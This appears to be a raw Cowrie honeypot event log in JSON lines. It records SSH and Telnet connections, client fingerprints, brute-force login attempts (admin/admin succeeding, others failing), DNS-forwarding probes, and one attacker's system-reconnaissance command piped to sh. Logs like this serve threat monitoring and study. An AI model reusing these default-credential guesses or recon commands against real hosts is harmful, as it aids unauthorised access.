{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:11.293232Z","session":"b9cc845601ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:11.391954Z","src_ip":"87.251.64.176","session":"b9cc845601ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:11.492752Z","src_ip":"87.251.64.176","session":"b9cc845601ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.369483947753906,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:26:20.519706Z","src_ip":"199.103.57.63","session":"2ff104574974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":25331,"dst_ip":"159.203.135.109","dst_port":22,"session":"540492b8770d","protocol":"ssh","message":"New connection: 84.239.42.8:25331 (159.203.135.109:22) [session: 540492b8770d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:27:52.973953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:27:52.978604Z","src_ip":"84.239.42.8","session":"540492b8770d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:27:53.105705Z","src_ip":"84.239.42.8","session":"540492b8770d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"$USER","password":"$USER","message":"login attempt [$USER/$USER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:27:53.729263Z","src_ip":"84.239.42.8","session":"540492b8770d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:27:54.860623Z","src_ip":"84.239.42.8","session":"540492b8770d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":40246,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce1bc79032c","protocol":"ssh","message":"New connection: 154.92.15.23:40246 (159.203.135.109:22) [session: 5ce1bc79032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:05.395255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:05.399932Z","src_ip":"154.92.15.23","session":"5ce1bc79032c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:14.451037Z","src_ip":"154.92.15.23","session":"5ce1bc79032c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82779302311","protocol":"ssh","message":"New connection: 87.251.64.176:31644 (10.17.0.5:22) [session: f82779302311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:40.945183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:40.953890Z","src_ip":"87.251.64.176","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:41.050521Z","src_ip":"87.251.64.176","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:41.341081Z","src_ip":"87.251.64.176","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:41.439118Z","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:41.537389Z","src_ip":"87.251.64.176","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:41.635779Z","src_ip":"87.251.64.176","session":"f82779302311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.107.233.91","src_port":45690,"dst_ip":"10.17.0.5","dst_port":22,"session":"547b2d86ba4f","protocol":"ssh","message":"New connection: 150.107.233.91:45690 (10.17.0.5:22) [session: 547b2d86ba4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:47.886541Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.107.233.91","src_port":57696,"dst_ip":"10.17.0.5","dst_port":22,"session":"0457d13fa627","protocol":"ssh","message":"New connection: 150.107.233.91:57696 (10.17.0.5:22) [session: 0457d13fa627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:49.610037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:52.837502Z","src_ip":"150.107.233.91","session":"0457d13fa627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:52.842912Z","src_ip":"150.107.233.91","session":"0457d13fa627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d54a73eea39","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 8d54a73eea39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:58.739470Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:31:58.846231Z","src_ip":"77.90.185.16","session":"8d54a73eea39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:05.540204Z","src_ip":"150.107.233.91","session":"0457d13fa627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.107.233.91","src_port":52264,"dst_ip":"10.17.0.5","dst_port":22,"session":"f61351793ebd","protocol":"ssh","message":"New connection: 150.107.233.91:52264 (10.17.0.5:22) [session: f61351793ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:08.067014Z"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:08.140424Z","src_ip":"150.107.233.91","session":"0457d13fa627","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:10.551527Z","src_ip":"150.107.233.91","session":"f61351793ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:10.555519Z","src_ip":"150.107.233.91","session":"f61351793ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:26.858213Z","src_ip":"150.107.233.91","session":"f61351793ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.7","message":"Connection lost after 21.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:29.771085Z","src_ip":"150.107.233.91","session":"f61351793ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.107.233.91","src_port":59666,"dst_ip":"10.17.0.5","dst_port":22,"session":"2953ea72bbe5","protocol":"ssh","message":"New connection: 150.107.233.91:59666 (10.17.0.5:22) [session: 2953ea72bbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:29.900845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:30.754101Z","src_ip":"150.107.233.91","session":"2953ea72bbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:30.758984Z","src_ip":"150.107.233.91","session":"2953ea72bbe5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:47.260899Z","src_ip":"150.107.233.91","session":"2953ea72bbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:32:48.452572Z","src_ip":"150.107.233.91","session":"2953ea72bbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.102","src_port":58259,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a7d9c5425c","protocol":"ssh","message":"New connection: 192.42.116.102:58259 (10.17.0.5:22) [session: c9a7d9c5425c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:02.324883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:02.445713Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"087ab61de4f8afa9ac8f30c1b7c418eb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour","arcfour128","arcfour256"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 087ab61de4f8afa9ac8f30c1b7c418eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:02.541616Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:03.774651Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":200,"height":80,"message":"Terminal Size: 200 80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:04.242285Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:04.546156Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778304785169635104\" | sh","message":"CMD: echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778304785169635104\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:05.275475Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778304785169635104\n","message":"CMD: bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778304785169635104\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:05.279274Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:33:05.287722Z","src_ip":"192.42.116.102","session":"c9a7d9c5425c","protocol":"ssh"}
